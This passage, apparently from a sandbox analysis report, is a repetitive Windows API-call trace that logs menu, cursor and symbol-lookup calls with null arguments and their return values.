returned 0x0 [0218.861] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.861] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.861] GetLastError () returned 0x579 [0218.861] SetLastError (dwErrCode=0x579) [0218.861] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.861] SymCleanup (hProcess=0x0) returned 0 [0218.861] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.861] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.862] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.862] GetLastError () returned 0x579 [0218.862] SetLastError (dwErrCode=0x579) [0218.862] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.862] SymCleanup (hProcess=0x0) returned 0 [0218.862] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.862] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.862] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.862] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.862] GetLastError () returned 0x579 [0218.862] SetLastError (dwErrCode=0x579) [0218.862] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.862] SymCleanup (hProcess=0x0) returned 0 [0218.862] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.862] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.862] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.862] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.862] GetLastError () returned 0x579 [0218.862] SetLastError (dwErrCode=0x579) [0218.862] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.862] SymCleanup (hProcess=0x0) returned 0 [0218.862] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.862] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.862] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.863] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=286, param_4=489, param_5=0x0, param_6=0x0) returned 0 [0218.863] GetLastError () returned 0x579 [0218.863] SetLastError (dwErrCode=0x579) [0218.863] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.863] SymCleanup (hProcess=0x0) returned 0 [0218.863] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.863] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.863] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.863] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.863] GetLastError () returned 0x579 [0218.863] SetLastError (dwErrCode=0x579) [0218.863] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.863] SymCleanup (hProcess=0x0) returned 0 [0218.863] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.863] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.863] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.863] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.863] GetLastError () returned 0x579 [0218.863] SetLastError (dwErrCode=0x579) [0218.863] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.863] SymCleanup (hProcess=0x0) returned 0 [0218.863] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.863] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.863] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.864] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.864] GetLastError () returned 0x579 [0218.864] SetLastError (dwErrCode=0x579) [0218.864] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.864] SymCleanup (hProcess=0x0) returned 0 [0218.864] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.864] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.864] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.864] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.864] GetLastError () returned 0x579 [0218.864] SetLastError (dwErrCode=0x579) [0218.864] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.864] SymCleanup (hProcess=0x0) returned 0 [0218.864] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.864] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.864] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.864] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1117, param_4=306, param_5=0x0, param_6=0x0) returned 0 [0218.864] GetLastError () returned 0x579 [0218.864] SetLastError (dwErrCode=0x579) [0218.864] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.864] SymCleanup (hProcess=0x0) returned 0 [0218.864] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.864] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.864] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.865] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.865] GetLastError () returned 0x579 [0218.865] SetLastError (dwErrCode=0x579) [0218.865] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.865] SymCleanup (hProcess=0x0) returned 0 [0218.865] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.865] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.865] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.865] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.865] GetLastError () returned 0x579 [0218.865] SetLastError (dwErrCode=0x579) [0218.865] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.865] SymCleanup (hProcess=0x0) returned 0 [0218.865] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.865] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.865] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.865] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.865] GetLastError () returned 0x579 [0218.865] SetLastError (dwErrCode=0x579) [0218.865] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.865] SymCleanup (hProcess=0x0) returned 0 [0218.865] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.865] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.865] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.866] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.866] GetLastError () returned 0x579 [0218.866] SetLastError (dwErrCode=0x579) [0218.866] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.866] SymCleanup (hProcess=0x0) returned 0 [0218.866] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.866] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.866] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.866] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=464, param_4=75, param_5=0x0, param_6=0x0) returned 0 [0218.866] GetLastError () returned 0x579 [0218.866] SetLastError (dwErrCode=0x579) [0218.866] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.866] SymCleanup (hProcess=0x0) returned 0 [0218.866] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.866] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.866] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.866] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.866] GetLastError () returned 0x579 [0218.866] SetLastError (dwErrCode=0x579) [0218.866] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.866] SymCleanup (hProcess=0x0) returned 0 [0218.866] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.866] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.866] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.866] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.867] GetLastError () returned 0x579 [0218.867] SetLastError (dwErrCode=0x579) [0218.867] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.867] SymCleanup (hProcess=0x0) returned 0 [0218.867] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.867] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.867] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.867] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.867] GetLastError () returned 0x579 [0218.867] SetLastError (dwErrCode=0x579) [0218.867] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.867] SymCleanup (hProcess=0x0) returned 0 [0218.867] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.867] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.867] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.867] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.867] GetLastError () returned 0x579 [0218.867] SetLastError (dwErrCode=0x579) [0218.867] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.867] SymCleanup (hProcess=0x0) returned 0 [0218.867] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.867] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.867] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.867] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1268, param_4=787, param_5=0x0, param_6=0x0) returned 0 [0218.868] GetLastError () returned 0x579 [0218.868] SetLastError (dwErrCode=0x579) [0218.868] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.868] SymCleanup (hProcess=0x0) returned 0 [0218.868] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.868] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.868] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.868] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.868] GetLastError () returned 0x579 [0218.868] SetLastError (dwErrCode=0x579) [0218.868] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.868] SymCleanup (hProcess=0x0) returned 0 [0218.868] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.868] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.868] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.868] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.868] GetLastError () returned 0x579 [0218.868] SetLastError (dwErrCode=0x579) [0218.868] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.868] SymCleanup (hProcess=0x0) returned 0 [0218.868] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.868] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.868] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.869] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.869] GetLastError () returned 0x579 [0218.869] SetLastError (dwErrCode=0x579) [0218.869] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.869] SymCleanup (hProcess=0x0) returned 0 [0218.869] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.869] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.869] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.869] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.869] GetLastError () returned 0x579 [0218.869] SetLastError (dwErrCode=0x579) [0218.869] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.869] SymCleanup (hProcess=0x0) returned 0 [0218.869] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.869] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.869] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.869] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1310, param_4=849, param_5=0x0, param_6=0x0) returned 0 [0218.869] GetLastError () returned 0x579 [0218.869] SetLastError (dwErrCode=0x579) [0218.869] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.869] SymCleanup (hProcess=0x0) returned 0 [0218.869] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.869] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.869] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.870] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.870] GetLastError () returned 0x579 [0218.870] SetLastError (dwErrCode=0x579) [0218.870] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.870] SymCleanup (hProcess=0x0) returned 0 [0218.870] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.870] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.870] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.870] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.870] GetLastError () returned 0x579 [0218.870] SetLastError (dwErrCode=0x579) [0218.870] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.870] SymCleanup (hProcess=0x0) returned 0 [0218.870] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.870] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.870] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.870] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.870] GetLastError () returned 0x579 [0218.870] SetLastError (dwErrCode=0x579) [0218.870] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.870] SymCleanup (hProcess=0x0) returned 0 [0218.870] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.870] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.870] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.871] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.871] GetLastError () returned 0x579 [0218.871] SetLastError (dwErrCode=0x579) [0218.871] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.871] SymCleanup (hProcess=0x0) returned 0 [0218.871] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.871] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.871] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.871] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1181, param_4=570, param_5=0x0, param_6=0x0) returned 0 [0218.871] GetLastError () returned 0x579 [0218.871] SetLastError (dwErrCode=0x579) [0218.871] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.871] SymCleanup (hProcess=0x0) returned 0 [0218.871] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.871] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.871] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.871] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.871] GetLastError () returned 0x579 [0218.871] SetLastError (dwErrCode=0x579) [0218.871] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.871] SymCleanup (hProcess=0x0) returned 0 [0218.871] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.871] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.872] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.872] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.872] GetLastError () returned 0x579 [0218.872] SetLastError (dwErrCode=0x579) [0218.872] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.872] SymCleanup (hProcess=0x0) returned 0 [0218.872] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.872] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.872] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.872] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.872] GetLastError () returned 0x579 [0218.872] SetLastError (dwErrCode=0x579) [0218.872] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.872] SymCleanup (hProcess=0x0) returned 0 [0218.872] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.872] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.872] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.872] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.872] GetLastError () returned 0x579 [0218.872] SetLastError (dwErrCode=0x579) [0218.872] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.872] SymCleanup (hProcess=0x0) returned 0 [0218.872] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.872] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.873] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.873] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=447, param_4=302, param_5=0x0, param_6=0x0) returned 0 [0218.873] GetLastError () returned 0x579 [0218.873] SetLastError (dwErrCode=0x579) [0218.873] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.873] SymCleanup (hProcess=0x0) returned 0 [0218.873] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.873] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.873] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.873] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.873] GetLastError () returned 0x579 [0218.873] SetLastError 